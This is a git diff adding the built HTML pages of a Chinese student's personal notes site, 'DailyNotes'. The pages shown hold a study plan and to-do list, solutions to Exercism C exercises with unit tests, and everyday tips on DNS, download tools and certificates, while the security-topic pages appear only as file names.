"\345\255\246\344\271\240\350\267\257\347\272\277/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/index.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\346\234\272\345\231\250\345\255\246\344\271\240/MOOC_\346\265\213\350\257\225\344\270\216\344\275\234\344\270\232.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\346\234\272\345\231\250\345\255\246\344\271\240/MachineLearning.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\346\234\272\345\231\250\345\255\246\344\271\240/index.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\346\234\272\345\231\250\345\255\246\344\271\240/\346\234\272\345\231\250\345\255\246\344\271\240.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\347\256\227\346\263\225/LeetCode/LeetCodeNote.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\347\256\227\346\263\225/LeetCode/index.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\347\256\227\346\263\225/index.html" create mode 100644 "\347\244\276\345\214\272\347\233\270\345\205\263/Git.html" create mode 100644 "\347\244\276\345\214\272\347\233\270\345\205\263/Gitee.html" create mode 100644 "\347\244\276\345\214\272\347\233\270\345\205\263/Github.html" create mode 100644 "\347\244\276\345\214\272\347\233\270\345\205\263/Gitlab.html" create mode 100644 "\347\244\276\345\214\272\347\233\270\345\205\263/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/ATTCK/TA0001-InitialAccess.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/ATTCK/TA0005-DefenseEvasion(\344\270\213).html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/ATTCK/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/Web\344\270\273\346\265\201\345\272\224\347\224\250\346\274\217\346\264\236/Shiro/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/Web\344\270\273\346\265\201\345\272\224\347\224\250\346\274\217\346\264\236/Struts2/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/Web\344\270\273\346\265\201\345\272\224\347\224\250\346\274\217\346\264\236/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/Web\346\274\217\346\264\236\351\200\232\347\224\250\345\236\213Python\345\244\215\347\216\260\350\204\232\346\234\254\347\274\226\345\206\231\346\214\207\345\215\227/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\270\227\351\200\217\346\265\213\350\257\225\345\267\245\345\205\267/BurpSuite.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\270\227\351\200\217\346\265\213\350\257\225\345\267\245\345\205\267/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\270\227\351\200\217\346\265\213\350\257\225\345\267\245\345\205\267/msf.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\274\217\346\264\236\347\261\273\345\236\213/HTTP\350\257\267\346\261\202\350\265\260\347\247\201/HTTP\350\257\267\346\261\202\350\265\260\347\247\201.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\274\217\346\264\236\347\261\273\345\236\213/HTTP\350\257\267\346\261\202\350\265\260\347\247\201/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\274\217\346\264\236\347\261\273\345\236\213/SQL\346\263\250\345\205\245/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\274\217\346\264\236\347\261\273\345\236\213/XSS/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\274\217\346\264\236\347\261\273\345\236\213/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\274\217\346\264\236\347\261\273\345\236\213/\346\232\264\345\212\233\347\240\264\350\247\243/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\274\217\346\264\236\347\261\273\345\236\213/\347\233\256\345\275\225\347\251\277\350\266\212/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/kali.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\344\277\241\346\201\257\346\224\266\351\233\206/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\344\277\241\346\201\257\346\224\266\351\233\206/\346\274\217\346\211\253\345\267\245\345\205\267/AWVS.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\344\277\241\346\201\257\346\224\266\351\233\206/\346\274\217\346\211\253\345\267\245\345\205\267/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\344\277\241\346\201\257\346\224\266\351\233\206/\347\253\257\345\217\243\346\211\253\346\217\217/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\344\277\241\346\201\257\346\224\266\351\233\206/\347\253\257\345\217\243\346\211\253\346\217\217/nmap.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\345\206\205\347\275\221\346\270\227\351\200\217/Powershell-Empire.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\345\206\205\347\275\221\346\270\227\351\200\217/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\345\206\205\347\275\221\346\270\227\351\200\217/\344\273\243\347\220\206\350\275\254\345\217\221.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\345\212\240\345\257\206\347\256\227\346\263\225/HMAC.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\345\212\240\345\257\206\347\256\227\346\263\225/Hash.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\345\212\240\345\257\206\347\256\227\346\263\225/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\346\212\223\345\214\205\345\217\221\345\214\205.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\347\253\257\347\202\271\345\256\211\345\205\250/AtomicRedTeam/Vectr.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\347\253\257\347\202\271\345\256\211\345\205\250/AtomicRedTeam/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\347\253\257\347\202\271\345\256\211\345\205\250/Linux/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\347\253\257\347\202\271\345\256\211\345\205\250/Windows/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\347\253\257\347\202\271\345\256\211\345\205\250/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\347\274\226\347\240\201.html" create mode 100644 "\351\200\232\350\257\206/Docker/Docker.html" create mode 100644 "\351\200\232\350\257\206/Docker/Harbor.html" create mode 100644 "\351\200\232\350\257\206/Docker/index.html" create mode 100644 "\351\200\232\350\257\206/Linux.html" create mode 100644 "\351\200\232\350\257\206/VSCode.html" create mode 100644 "\351\200\232\350\257\206/index.html" create mode 100644 "\351\200\232\350\257\206/\345\244\226\350\256\276.html" create mode 100644 "\351\200\232\350\257\206/\346\215\242\346\272\220.html" create mode 100644 "\351\200\232\350\257\206/\346\270\220\346\236\204-\346\226\255\345\242\250\345\257\273\345\276\204.html" create mode 100644 "\351\200\232\350\257\206/\351\200\232\350\257\206.html" diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 0000000000..8b13789179 --- /dev/null +++ b/.nojekyll @@ -0,0 +1 @@ + diff --git a/404.html b/404.html new file mode 100644 index 0000000000..27be55288d --- /dev/null +++ b/404.html @@ -0,0 +1,40 @@ + + + + + + + + DailyNotes + + + + + + +
跳至主要內容

404

页面不存在

我们是怎么来到这儿的?

+ + + diff --git a/CS/TODOLIST.html b/CS/TODOLIST.html new file mode 100644 index 0000000000..b30da9ee29 --- /dev/null +++ b/CS/TODOLIST.html @@ -0,0 +1,40 @@ + + + + + + + + 任务清单 | DailyNotes + + + + + + +
跳至主要內容

任务清单

大约 13 分钟

任务清单

先导课程(2021/12/19 - 2022/3/19, 共 13 周)

第 1 周(12.20-12.26)

考试周, 结果是寄了, 考试周连着实训, solo小组作业, 任务安排拉满我大半个月, 寄!
后面 C 语言练习出于收益考量替换为 LeetCode 习题, 从第 5 周开始往前嗯补
由于差额比较大就开了一个简单的算法入门的学习路线来补(


第 2 周(12.27-1.2)


第 3 周(1.3-1.9)


第 4 周(1.10-1.16)


第 5 周(1.17-1.23)


第 6 周(1.24-1.30)


第 7 周(1.31-2.6)


第 8 周(2.7-2.13)


第 9 周(2.14-2.20)


第 10 周(2.21-2.27)


第 11 周(2.28-3.6)

第 12 周(3.7-3.13)

第 13 周(3.14-3.20)


VUE 相关技术栈学习(2022/3/21-2022/4/3, 共 2 周)

第 1 周(3.21-3.27)

第 2 周(3.28-4.3)

第 3 周(4.4-4.10)

第 4 周(4.11-4.17)

+ + + diff --git a/CS/foundation/C/C.html b/CS/foundation/C/C.html new file mode 100644 index 0000000000..7a2175be49 --- /dev/null +++ b/CS/foundation/C/C.html @@ -0,0 +1,115 @@ + + + + + + + + C | DailyNotes + + + + + + +
跳至主要內容

C

大约 7 分钟

C

2021-12-20-Armstrong Numbersopen in new window

Instruction

Narcissistic number - Wikipediaopen in new window

An Armstrong number is a number that is the sum of its own digits each raised to the power of the number of digits.

Armstrong number 的每一位数字的 n 次方和等于它本身(n 为该数的位数)。

For example:

9 is an Armstrong number, because 9=91=99 = 9^1 = 9
10 is not an Armstrong number, because 10!=12+02=110 != 1^2 + 0^2 = 1
153 is an Armstrong number, because: 153=13+53+33=1+125+27=153153 = 1^3 + 5^3 + 3^3 = 1 + 125 + 27 = 153
154 is not an Armstrong number, because: 154!=13+53+43=1+125+64=190154 != 1^3 + 5^3 + 4^3 = 1 + 125 + 64 = 190
Write some code to determine whether a number is an Armstrong number.


解题思路

通过循环整除10计算数字位数
通过 %10 获取末位数字, /10 去除末位数字
已知所有参数, 累加求和与原数字比较即可


Tips

第一次用 CLion 写 C 项目, 踩了一鞋坑

行分隔符

Windows 下使用 \r\n, 单独使用 \r 或 \n 要么编译报错, 要么运行奇怪
尤其是后者, 排查了半天代码没找到逻辑错误最后才发现是先前好奇行分隔符有什么用随手改了下


CMakeList.txt

image-20211221121538494

有时候添加文件会自动变更 CMakeLists.txt, 需要留意下


2021-12-21-Resistor Coloropen in new window

Resistor - 电阻器

Instructions

Maud de Vries, Erik Schierboomopen in new window

image

Each resistor has a resistance value.
每个电阻器都有一个电阻值

Resistors are small - so small in fact that if you printed the resistance value on them, it would be hard to read. 电阻器一般比较小, 所以如果将其电阻值印在上面, 就很难看

To get around this problem, manufacturers print color-coded bands onto the resistors to denote their resistance values. Each band has a position and a numeric value. 为了解决这个问题, 厂商会在电阻器上印上颜色编码带来表示它们的电阻值. 每个有对应的位置和数值

The first 2 bands of a resistor have a simple encoding scheme: each color maps to a single number. 电阻器的前两个圈带有简单的编码方案: 每个颜色都映射到一个单一的数字

In this exercise you are going to create a helpful program so that you don't have to remember the values of the bands. 在这个练习中, 你要创建一个有用的程序, 以便你不必记住带的值

These colors are encoded as follows:

  • Black: 0
  • Brown: 1
  • Red: 2
  • Orange: 3
  • Yellow: 4
  • Green: 5
  • Blue: 6
  • Violet: 7
  • Grey: 8
  • White: 9

schermafbeelding 2019-02-10 om 13 15 39

The goal of this exercise is to create a way: 这个练习的目标是创建一个方式:

  • to look up the numerical value associated with a particular color band
    查找与特定颜色带相关的数值
  • to list the different band colors
    列出不同的颜色带

Mnemonics map the colors to the numbers, that, when stored as an array, happen to map to their index in the array: Better Be Right Or Your Great Big Values Go Wrong.
映射颜色到数字, 当存储为数组时, 它们会映射到数组的索引: 映射最好准确否则将可能得到错误的 big values


解题思路

这题给的模板很简略, 就给了一个枚举类型的定义框架, 函数需要去看测试用例来确定返回值, 函数名以及参数

20211221142340

测试用例里用到了两个函数, color_code(WHITE)colors()

color_code() 的参数为头文件中定义的枚举类型参数, 返回值看测试用例应当是整数

colors() 的参数为空, 返回值看测试用例应当是一个枚举数组, 不过需要注意的是返回数组实际上返回的是一个指针, 因此则需要指针指向的数组是不可变的也即该数组不应随着函数调用结束而释放, 因此该数组应当是静态的


code

resistor_color.h
resistor_color.c


Tips

枚举类型

C语言--enum,typedef enum 枚举类型详解 - 哈哈呵h - 博客园 (cnblogs.com)open in new window


2021-12-22-Isogramopen in new window


Instructions

Heterogram (literature)open in new window

Determine if a word or phrase is an isogram.

An isogram (also known as a "nonpattern word") is a word or phrase without a repeating letter, however spaces and hyphens are allowed to appear multiple times.

Examples of isograms:

  • lumberjacks
  • background
  • downstream
  • six-year-old

The word isograms, however, is not an isogram, because the s repeats.

hyphens - 连字符


解题思路

新建一个长度为 26 默认值为 0 的整型数组, 遍历 const 字符数组, 定义一个 char ch 接收遍历到的字符, 若 ch 为大写字母则转换为小写字母, 若 ch 并非字母则继续下一步遍历, 将 ch 作为哈希表的键访问对应值, 若为 0 则说明该字符尚未出现过并将其置 1, 若为 1 则说明该字母已经出现过一次, 返回 false

也可以定义一个哈希表, 捏合上面的操作为一个哈希函数

isogram.c


Tips

Exercism Segmentation fault (core dumped)

Core Dump (Segmentation fault) in C/C++ - GeeksforGeeksopen in new window

通常情况该这是由于访问了不该访问的内存导致的, 可以通过 valgrind 来检查

具体情况可能是数组下标越界, 或者是指针指向的内存已被释放或其他原因

在做此题的过程中检查了半天问题, 最终发现是 TestCase 中有 NULL, 我忘记考虑 NULL 的情况了


散点

  • 大写字母和小写字母可以通过 - 'A'- 'a' 获取其在字母表中的相对位置
  • 字符串以 '\0' 结尾, 可借此遍历字符数组

2021-12-23-Hammingopen in new window

hamming distance 汉明间距;代码间距;汉娩距
hamming code 汉明码(误差检验及纠正码)

Instructions

The Calculating Point Mutations problem at Rosalindopen in new window

Calculate the Hamming Distance between two DNA strands.
计算两个 DNA 片段的汉明间距

Your body is made up of cells that contain DNA. Those cells regularly wear out and need replacing, which they achieve by dividing into daughter cells. In fact, the average human body experiences about 10 quadrillion cell divisions in a lifetime!
身体由细胞组成, 细胞内含 DNA. 细胞每天都会衰老, 需要代谢, 它们通过分裂来完成代谢. 实际上, 人类的身体在一生中经历了 10 千万亿次细胞分裂.

When cells divide, their DNA replicates too. Sometimes during this process mistakes happen and single pieces of DNA get encoded with the incorrect information. If we compare two strands of DNA and count the differences between them we can see how many mistakes occurred. This is known as the "Hamming Distance".
细胞分裂时, DNA 也会复制. 有时候会发生错误, 有些 DNA 片段会被编码为错误的信息. 如果我们比较两个 DNA 片段, 并计算两个片段之间的不同, 我们可以看到产生了多少错误. 这称为 "汉明距".

We read DNA using the letters C,A,G and T. Two strands might look like this:

GAGCCTACTAACGGGAT
+CATCGTAATGACGGCCT
+^ ^ ^  ^ ^    ^^
+

They have 7 differences, and therefore the Hamming Distance is 7.

The Hamming Distance is useful for lots of things in science, not just biology, so it's a nice phrase to be familiar with 😃

The Hamming distance is only defined for sequences of equal length, so an attempt to calculate it between sequences of different lengths should not work. The general handling of this situation (e.g., raising an exception vs returning a special value) may differ between languages.


解题思路

  • hamming.h
    #ifndef HAMMING_H
    +#define HAMMING_H
    +
    +int compute(const char *lhs, const char *rhs);
    +
    +#endif
    +
    就只有一个计算函数
  • Tests
    #include "test-framework/unity.h"
    +#include "hamming.h"
    +void setUp(void)
    +{
    +}
    +void tearDown(void)
    +{
    +}
    +static void test_empty_strands(void)
    +{
    +  TEST_ASSERT_EQUAL(0, compute("", ""));
    +}
    +static void test_single_identical_strands(void)
    +{
    +  TEST_IGNORE();   // delete this line to run test
    +  TEST_ASSERT_EQUAL(0, compute("A", "A"));
    +}
    +static void test_single_letter_different_strands(void)
    +{
    +  TEST_IGNORE();
    +  TEST_ASSERT_EQUAL(1, compute("G", "T"));
    +}
    +static void test_long_identical_strands(void)
    +{
    +  TEST_IGNORE();
    +  TEST_ASSERT_EQUAL(0, compute("GGACTGAAATCTG", "GGACTGAAATCTG"));
    +}
    +static void test_long_different_strands(void)
    +{
    +  TEST_IGNORE();
    +  TEST_ASSERT_EQUAL(9, compute("GGACGGATTCTG", "AGGACGGATTCT"));
    +}
    +static void test_disallow_first_strand_when_longer(void)
    +{
    +  TEST_IGNORE();
    +  TEST_ASSERT_EQUAL(-1, compute("AATG", "AAA"));
    +}
    +static void test_disallow_second_strand_when_longer(void)
    +{
    +  TEST_IGNORE();
    +  TEST_ASSERT_EQUAL(-1, compute("ATA", "AGTG"));
    +}
    +static void test_disallow_empty_first_strand(void)
    +{
    +  TEST_IGNORE();
    +  TEST_ASSERT_EQUAL(-1, compute("", "G"));
    +}
    +static void test_disallow_empty_second_strand(void)
    +{
    +  TEST_IGNORE();
    +  TEST_ASSERT_EQUAL(-1, compute("G", ""));
    +}
    +int main(void)
    +{
    +  UnityBegin("test_hamming.c");
    +  RUN_TEST(test_empty_strands);
    +  RUN_TEST(test_single_identical_strands);
    +  RUN_TEST(test_single_letter_different_strands);
    +  RUN_TEST(test_long_identical_strands);
    +  RUN_TEST(test_long_different_strands);
    +  RUN_TEST(test_disallow_first_strand_when_longer);
    +  RUN_TEST(test_disallow_second_strand_when_longer);
    +  RUN_TEST(test_disallow_empty_first_strand);
    +  RUN_TEST(test_disallow_empty_second_strand);
    +  return UnityEnd();
    +}
    +
    观察测试用例可以发现, 当两字符串长度不同时返回 -1
    当两字符串长度相同时且两字符串完全一致时,返回 0, 否则返回不同的字符数

那这就没什么难度了, 用 string.h 中的 strlen 函数来计算字符串长度, 不同则返回 -1
否则定义并初始化计数器, 遍历字符串找出不同字符数目即可

Hamming.c


+ + + diff --git a/CS/foundation/C/index.html b/CS/foundation/C/index.html new file mode 100644 index 0000000000..3817bc080b --- /dev/null +++ b/CS/foundation/C/index.html @@ -0,0 +1,40 @@ + + + + + + + + C | DailyNotes + + + + + + +
跳至主要內容

C

小于 1 分钟

目录

C

+ + + diff --git a/CS/foundation/index.html b/CS/foundation/index.html new file mode 100644 index 0000000000..337dd6cf68 --- /dev/null +++ b/CS/foundation/index.html @@ -0,0 +1,40 @@ + + + + + + + + Foundation | DailyNotes + + + + + + +
跳至主要內容

Foundation

小于 1 分钟

目录

C

+ + + diff --git a/CS/index.html b/CS/index.html new file mode 100644 index 0000000000..f0f9fb929c --- /dev/null +++ b/CS/index.html @@ -0,0 +1,40 @@ + + + + + + + + C S | DailyNotes + + + + + + +
跳至主要內容

C S

小于 1 分钟

+ + + diff --git "a/CS/\347\273\237\346\213\254.html" "b/CS/\347\273\237\346\213\254.html" new file mode 100644 index 0000000000..ae4bfdac87 --- /dev/null +++ "b/CS/\347\273\237\346\213\254.html" @@ -0,0 +1,40 @@ + + + + + + + + CS 学习规划 | DailyNotes + + + + + + +
跳至主要內容

CS 学习规划

大约 5 分钟

CS 学习规划

现状分析

当前已在计划内的书籍学习为: 计算机网络7(谢希仁), 深入理解计算机系统(第三版), 算法导论(第2版)

自学路线以下面 3 份文档为基底进行并灵活调整

TeachYourselfCS-CN/TeachYourselfCS-CN.md at master · izackwu/TeachYourselfCS-CN (github.com)open in new window

spring2go/cs_study_plan: 一份硬核(hardcore)计算机科学CS自学计划,偏向软件工程和系统架构方向 (github.com)open in new window

CS自学指南 (csdiy.wiki)open in new window


先导课程(TODO: 2021/12/19 - 2022/3/19, 共 13 周)

当前阶段为学期末且还有其他重要任务在手上, 考虑分配 3 个月的时间学习任务量较轻的先导课程, 回顾 C 系语言以及计算机程序的构造和解释

SICPopen in new window(Structure and Interpretation of Computer Programs) 共 10 章, 视频约莫 43.5 学时
DeathKing/Learning-SICP: MIT视频公开课《计算机程序的构造和解释》中文化项目及课程学习资料搜集。 (github.com)open in new window

1 周 1 章, 只学前 3 章(
担心啃不下去, 学完 3 章后打算继续去学 John DeNero 讲授的更新的 CS 61Aopen in new window 课程


C 语言的回顾就不找专门的教程了, 准备把 Exercism 上的 C 语言路径open in new window中的 71 个习题做完即可> 1 天 1 题

做不动, 感觉消耗太多时间在读题和摘录上了, 程序本身都比较简单, 打算转而去做 LeetCode
由于拖欠实在有点多, 开个初级的 算法学习路线open in new window 做下节省下时间(
进一步开个 算法基础-学习路线open in new window 多做些中等题及少量困难题


学下一些实用的工具, 例如 Shell 编程、命令行配置、Git、Vim、tmux、ssh等等:
MIT-Missing-Semester - CS自学指南 (csdiy.wiki)open in new window
11 堂课, 约莫 10 学时

1 周 1 堂课
2020 Lectures · the missing semester of your cs education (mit.edu)open in new window

The Missing Semester of Your CS Education · the missing semester of your cs education (mit.edu)open in new window

计算机教育中缺失的一课 · the missing semester of your cs education (missing-semester-cn.github.io)open in new window

missing-semester/missing-semester: The Missing Semester of Your CS Education 📚 (github.com)open in new window


出于学业原因, 需要学些 VUE, 尚硅谷的一个 VUE 实战项目视频open in new window动辄 200 P 实在顶不住, 他们家的 VUE 2.0 +3.0全套教程open in new window 也有 168 P, 就算一个视频 20 min 也需要 56 h 才能学完, 每天给到 2 h 需要一个月才能搞定, 但是实际上我的时间并没有这么充裕, 而且每天 2 h视频实际上加上练手的时间估计要翻番, 所以打算找文字教程来学, 打算用 这份教程open in new window 结合官方文档来进行 VUE 的学习

共 17 个 Markdown 文件, 打算在 第 5 周内学习完毕(时间限定了这部分内容肯定学不深, 后面只能边做边填坑了), 前端学习基本处于一个空白的状态, 无法估计实际大概会消耗多少时间学习

今年开年, vue3 被设置为了 vue 的默认版本, 计划方面需要向 vue3 靠拢, 找了两份看上去可作为参考的 vue3 视频教程做辅助, 以官方文档为基础进行学习

千古前端那份教程用来学 vue3+vite+ts+pinia 经常会在小问题上卡住, 应当换个教程

Vue3_小满zs的博客-CSDN博客open in new window

第一阶段总结

任务完成进度很差, 原因有很多, 如假期比较闲散, 老家比较冷且制热设施坏了, 春节期间比较忙, 平时要做饭做家务等等杂事等若干原因, 刚回到学校的前几周学习进度尚可但是并未达到期望值, 总的来说计划完成度很差而且当前处于毕设关键阶段, 所有新的技术栈的学习进度也不是很乐观, 下一阶段就全面投入 Vue Vite Pinia Less ElementUI TypeScript FastAPI 等技术的学习上了

计划指定本身也具有一定的不合理性, 貌似计划内时间太乐观了

VUE 相关技术栈学习(2022/3/21-2022/4/3, 共 2 周)

在上一阶段里 Vue 的学习在实际的时间分配上也占了比较多的部分, 而且由于现实工期原因, 实际上 Vue 学习的时间非常吃紧, 不过具体还要根据实际情况对计划进行相应调整

学习材料上由于时间比较吃紧因此只选取一个教程并结合官方文档学习

规划直接在 TODOLIST 里做了

+ + + diff --git a/DailyLife/DailyLife.html b/DailyLife/DailyLife.html new file mode 100644 index 0000000000..ae4233bfbe --- /dev/null +++ b/DailyLife/DailyLife.html @@ -0,0 +1,203 @@ + + + + + + + + 日常 | DailyNotes + + + + + + +
跳至主要內容

日常

大约 35 分钟

日常

Programming

行尾序列

  • LF - 换行 - Unix/macOS(\n)
  • CR 回车 - Classic MacOS(\r)
  • CRLF 回车换行 - Windows(\r\n)

CLion 编辑代码保存时会自动替换行尾为当前行尾序列。

20211221092252
在 Windows 下使用 CLion, 使用回车换行作为行尾可以正常编译运行代码

20211221092905

20211221092951

单独使用回车或换行作为行尾时会编译出错


交流社区

HackerTalk

黑客说 - 技术驱动优质交流 (hackertalk.net)open in new window

作者初衷是打造一款程序员社交平台, 界面很对味, 使用体验不错, 就是略显冷清了

image-20220517213112403


路由器

公共DNS推荐及dns测速 - fogwu - 博客园 (cnblogs.com)open in new window

小米路由器 DNS DHCP 后使用 EDGE 浏览器似乎经常显示 无法访问 Internet, 具体原因不清楚

手动将 DNS 改为

首选:119.29.29.29
+备选:182.254.116.116
+

后新建页面后似乎可以恢复正常

上述 DNS 为 DNSPod的 Public DNS+, 是目前国内第一家支持ECS的公共DNS,是DNSPod推出的公共域名解析服务,可以为全网用户提供域名的公共递归解析服务


小米

小爱音箱Pro连不上电脑

[大佬们,小爱音箱pro蓝牙电脑搜索不到【小爱同学吧】_百度贴吧 (baidu.com)](https://tieba.baidu.com/p/8487114265#:~:text=检查电脑的蓝牙设置,确保蓝牙开关已经打开,并且在“设备管理器”中查看是否已经启用了蓝牙设备。 3. 尝试在电脑端重新连接小爱音箱 Pro,可以尝试在蓝牙设备列表中选择小爱音箱,Pro,并输入配对码进行配对。 4. 尝试在手机上连接小爱音箱 Pro,然后尝试在电脑上连接同一个网络下的其他设备,以判断是否是音箱本身的问题。)

在小爱音箱APP中打开蓝牙自发现后手机都可以搜到小爱音箱的蓝牙, 唯独电脑怎么重启蓝牙都搜不到, 最后在贴吧看到一个老哥给出了正解, 将 Win 的蓝牙设备发现模式改为 高级 就能搜到小爱音箱Pro的蓝牙了

image-20231020225819202


证书

从计算机专业学生到程序员大佬,都一定受用的计算机行业高含金量证书盘点!_哔哩哔哩_bilibiliopen in new window

[计算机行业证书--哪些值得考? | ProcessOn免费在线作图,在线流程图,在线思维导图](https://www.processon.com/view/link/61c584f963768939a3694478#map 作者:王大飞op https://www.bilibili.com/read/cv14636458?spm_id_from=333.788.b_636f6d6d656e74.7 出处:bilibili)

建议是能力足够了随便去刷刷, 有公司报销可以考虑考考(


软考证书

中国计算机技术职业资格网open in new window

工业和信息化部承办的, 目前国企事业单位中含金量认可度最高的计算机行业证书

20220118105139

一般只有中级以上才有用, 在企事业单位工作或者项目与其有对接那么考个软考证书帮助比较大
打算在一线城市发展积分落户的话也有计分


计算机程序设计能力考试(PAT)

PAT 计算机程序设计能力测试 (patest.cn)open in new window

浙大发起承办, 乙,甲,顶级有用, 主要考察算法能力, 行业认可度比较高


项目管理职业资格认证(PMI)

首页-项目管理职业资格认证 (chinapmp.cn)open in new window

PMI 所有证书

缩写名称
PMP项目管理
PMI-ACP敏捷项目管理
PfMP项目组合管理
PgMP项目集管理
CAPM助理项目管理
PMI-RMP项目风险管理
PMI-SP进度管理

比较推荐的是: PMP(项目管理) 和 PMI-ACP(敏捷项目管理)

需要报培训班计学时才能考且有相关年龄限制(费用一般 2K ~ 7K 不等)

学历年龄限制
不限学历年满 26 岁
有学士学位年满 24 岁
有硕士及以上学位不限年龄

想转管理岗可以考虑考个这个证书

不过证书有年限, 期间需要积累 PDU 并加钱才能续期

  • 通过PMI制定培训机构参加PMP培训将会获得35个PDU, PMP考试通过后35个PDU直接转换。
  • 本人从事PMP工作,每年自动获得5个PDU,3年时间即可获得15个PDU。
  • 从事项目管理工作,每年自学可获得10个/年。
  • 公司内部会议,每小时获得一个PDU(保留会议纪要)。
  • 实际工作中使用MSP软件,同时高博是此软件的合作伙伴,提供MSP培训,可积累16个PDU。
  • 参加PMI活动(PMI组织活动基本免费,即使收费也很低)。
  • 撰写PMP文章,一般可获得2-3个PDU。
  • 志愿者活动(如给学员上课)可获得3-5个PDU。

华为认证

华为认证 (huawei.com)open in new window

得加钱(


下载


FDM

防病毒配置

关于IDM调用火绒的设置 - 火绒安全软件 - 火绒安全软件 (huorong.cn)open in new window

以火绒为例:

image-20230731151418988

注意这里的 %path% 指的是下载文件的保存路径而非上面填写的火绒的路径

但是实际上下载后会调起火绒UI并查杀该文件, 用户手动关闭火绒UI(点右上角的X关闭按钮)后 FDM 上的 正在检测病毒 才会停止, 总体来说体验不是很流畅, 因此后面不打算配置了

不过也可以手动检测:

image-20230731151658502

image-20230731151708991

image-20230731151720438

手动关闭火绒UI后

image-20230731151925117


IDM

解决新版 Edge 浏览器无法使用 IDM 的问题_Xavier Jiezou的博客-CSDN博客_edge idmopen in new window

在 Edge 上安装 IDM 扩展

打开 IDM 安装目录 找到 IDMGCExt.crx

image-20220416092234213

在 Edge 扩展中打开 开发人员模式:

image-20220416092329182

IDMGCExt.crx 拖动到 Edge 扩展界面即可安装扩展


aria2

  • 下载[aria2.exe]并将其移动至C:\Windows\System32文件夹
  • 复制aria2下载命令
  • 在本地你想下载到的位置,按住 Shift 右键点击空白处,选择在此打开命令行窗口(Powershell)
  • 将刚才复制的命令粘贴(鼠标右键点击即可,不要按 ctrl-V);回车,然后等待下载完成

超星相关


没有下载选项的 PDF

  • 参考链接open in new window
  • F12 找到 objectid 然后替换下面的 [objectid] 并打开链接
    https://mooc1-1.chaoxing.com/ananas/status/[objectid]?flag=normal
  • 打开之后是个响应页, 找到 pdf 字样, 后面跟着的就是直链

搜题目解析

  • 油猴插件:AC-baidu-重定向优化百度搜狗谷歌必应搜索
  • 垃圾域名
ppkao.com
+51xuexiaoyi.com
+jiandati.com
+cnitpm.com
+shangxueba.cn
+datiyi.cn
+ysxqzs.cn
+doc.xuehai.net
+imdza.org.cn
+shangxueba.com
+zyszedu.com
+ixueyi.com
+bvchati.cn
+kjfwxy.com
+yc-qx.cn
+hmyllh.com
+jsgncl.org.cn
+zhaokaoti.com
+http://www.zslangqiao.com/
+http://www.tfsenabo.com/
+zuixu.com
+educity.cn
+xcsdbzx.com
+nuchati.cn
+xmkqhs.com
+hzssc.org
+http://ask.mzhishi.com/
+nviv.cn
+30596.cn
+asklib.com
+

云盘


OneDrive


E5

  • 参考链接open in new window


